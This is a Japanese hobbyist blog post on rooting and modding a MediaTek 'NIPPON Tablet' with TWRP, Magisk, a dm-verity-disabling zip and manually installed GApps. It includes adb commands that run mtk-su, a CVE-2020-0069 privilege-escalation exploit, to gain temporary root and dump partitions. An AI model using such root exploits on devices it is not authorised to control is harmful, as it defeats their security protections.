TWRPは、端末のバックアップ、復元、改変を可能にするリカバリーの事です。
今回のNIPPON Tabletの場合は、音量上を押しながら起動した後に出てくる画面で、音量上ボタンでRecovery Modeを選択し、音量下ボタンで決定する事で起動できます。
端末の改変については、改変用のzipを実機でダウンロードした後、TWRPにてInstallを選択し、そのzipを選択すれば、自動で書き換えてくれます。
NIPPON Tabletで使用可能なOpenGAppsのリンク
https://jaist.dl.sourceforge.net/project/opengapps/arm64/20210224/open_gapps-arm64-7.0-nano-20210224.zip
TWRPを使用したMagiskの導入について
zunda-hack.com dm-verity解除
forum.xda-developers.com

また、MEGAにあるファイル群Lineage OSのバックアップがあるので、それをリストアすればLineage OSも動きます。

$ adb push 2020-11-05--08-02-38_lineage_X556-userdebug_712_NJH47F_7b16bce01/ /sdcard/TWRP

の後にTWRPのRestoreからバックアップを選択すれば焼けます。
ただし他機種からの移植なので、念の為ストックのバックアップは取っておきましょう。

Magisk導入

導入する前に各イメージのバックアップをとります。
現状、この端末でTWRPを起動させることができなさそうなので、バックアップをとっておかないと危ない橋を渡ることになります...(一敗)
バックアップするのはbootとsystemです。dataは純正リカバリーからリセットすれば戻せます。
書きそこねましたが、NIPPON Tablet

  • 音量上+電源 => fastboot起動
  • 音量下+電源 =>中華の謎リカバリー起動

といった感じで分岐できます。
普通のリカバリーに入りたい場合は、fastbootからRecovery modeを選ばないと起動できません。少し面倒...
というわけでバックアップをとります。
しかしshell権限ではbootイメージが取れないので、rootを奪取します。
rootには最近CVE-2020-0069がふられたmtk-suを使用します。
詳細は省きますが、大体のMediaTek端末で一時root+SELinux無効化(Permissive)できるやばいやつです。

https://forum.xda-developers.com/attachment.php?attachmentid=4971443

Google、Androidの月例セキュリティ情報を発表 ~Amazon FireなどMediaTek端末でルートを奪取される問題にも対処 - 窓の杜

落としたらarm64の中のmtk-suを突っ込んでイメージ取ります。

$ adb push <mtk-suへのパス> /data/local/tmp
$ adb shell chmod +x /data/local/tmp/mtk-su
$ adb shell /data/local/tmp/mtk-su -c dd if=/dev/block/mmcblk0p7 of=/data/local/tmp/boot_native.img
$ adb shell /data/local/tmp/mtk-su -c dd if=/dev/block/mmcblk0p20 of=/data/local/tmp/system.img
$ adb shell /data/local/tmp/mtk-su -c chown shell.shell /data/local/tmp/boot_native.img
$ adb shell /data/local/tmp/mtk-su -c chown shell.shell /data/local/tmp/system.img
$ adb pull /data/local/tmp/boot_native.img
$ adb pull /data/local/tmp/system.img
$ adb shell mv /data/local/tmp/boot_native.img /sdcard

(bootイメージは後々使うので移動させてます。)
pullしたら、どこかわかりやすい場所に保管しておきましょう。
保管したら、Magisk Managerをインストールします。
TWRPが動かないので、Magisk Managerでbootイメージにパッチを当ててそれを起動させようという考えです。

https://github.com/topjohnwu/Magisk/releases/download/manager-v7.5.1/MagiskManager-v7.5.1.apk

Magisk Managerを起動したあとにMagiskをインストールを選択後パッチを当てます。
(少しフライングして直接インストールが推奨って出てますがスルーしてください...)

https://cdn.discordapp.com/attachments/530608865256013840/706771647792676874/Screenshot_2020-05-04_16-32-58.png

https://cdn.discordapp.com/attachments/530608865256013840/706771696144875530/Screenshot_2020-05-04_16-33-07.png

あとはsdcardに移したboot_native.imgを選択すれば/sdcard/Downloadsにmagisk-patched.imgが生成されるので、これを母艦に移してfastbootで起動テストをします。

$ adb pull /sdcard/Downloads/magisk_patched.img
$ adb reboot bootloader
$ fastboot boot magisk_patched.img

無事に動いたらこんがり焼きます。

<ボタンコンボなりadbなりでfastbootへ>
$ fastboot flash boot magisk_patched.img

とりあえずこれでMagiskは導入完了です。

dm-verity

rootとれたし自由だバンザイしたいところですが、残念ながらこの端末は泥遊びオタクの敵dm-verityをのっけてます。

androplus.org

ざっくり説明すると、rootだろうが/system以下は書き込ませないマンです。
自由がウリのandroidになんてもん追加してんだ
一応、これはブートローダからコマンドで解除できます。
できるはずなんですけど、何故かNIPPON Tabletはそのコマンドがありません!
BLUはできるのにこれはできない。本当に謎すぎる。

$ fastboot oem disable_dm_verity
...
FAILED (remote: unknown command)
finished. total time: 0.002s

一応、これを解除する方法は他にもあって、fstabをいじるとかTWRPから解除するスクリプト焼くとかがあるんですけど、
fstabにはそもそも記述なし。TWRPはソース入手が怪しい上に、移植、純正リカバリから生成したやつが動かないので無理そう...
よどがわさんにビルドしてもらいました。感謝。)
systemlessで楽しみつつ、誰かTWRP作るのを待つかな(おい)と思っていたんですが、どうもFireタブとかで使われていたFlashifyを使えばTWRP的なことができるという情報を拾ったので、バックアップあるしって事でdm-verityおよび暗号化を解除するzipを焼いてみることにしました(諦め半分でやってたので、スクショないです...)

flashify.org

forum.xda-developers.com

# mount | grep system                                                                                                                     
/dev/block/mmcblk0p20 on /system type ext4 (ro,seclabel,relatime,data=ordered)
(Magiskのあれこれは省略)
# mount -o rw,remount /system
# mount | grep system                                                                                                                     
/dev/block/mmcblk0p20 on /system type ext4 (rw,seclabel,relatime,data=ordered)
# touch /system/test
# ls /system | grep test
test

https://cdn.discordapp.com/attachments/530608865256013840/707109928363491349/dosite.png

fstabもブートローダもダメだったのに...?
この辺の仕組みは気になるので、あとでスクリプト読んで何かわかったら追記します。

GApps

最後にGoogle周りのあれこれを入れて普通のタブレット(当社比)を完成させます。
上のFlashifyの活躍もありますし、選択肢にGAppsってあるのでFlashifyでいけるだろって思ってたら、何故かGAppsはだめでした...(何かやり方がダメだった可能性もあるけど)

https://cdn.discordapp.com/attachments/530608865256013840/707113076071202896/Screenshot_2020-05-05_15-13-56.png

自分でOpenGAppsのzip取ってきて焼いてもダメだったので、Flashifyは諦めてOpenGAppsのzip内のCoreフォルダ以下のapkを手動で/system/priv-appに突っ込みました。
なんだか悔しい...
この辺もどうにかして追記しておきます。

[追記]前述のようにTWRPの導入でかなり簡略化できました。 f:id:a_one_of_fan:20200505152734p:plain どうでもいいことなんですけど、このタブレットデフォルトの設定だと字がまあまあ小さいです...
というわけで、あとで色々追記します(するはず...)
追記しました。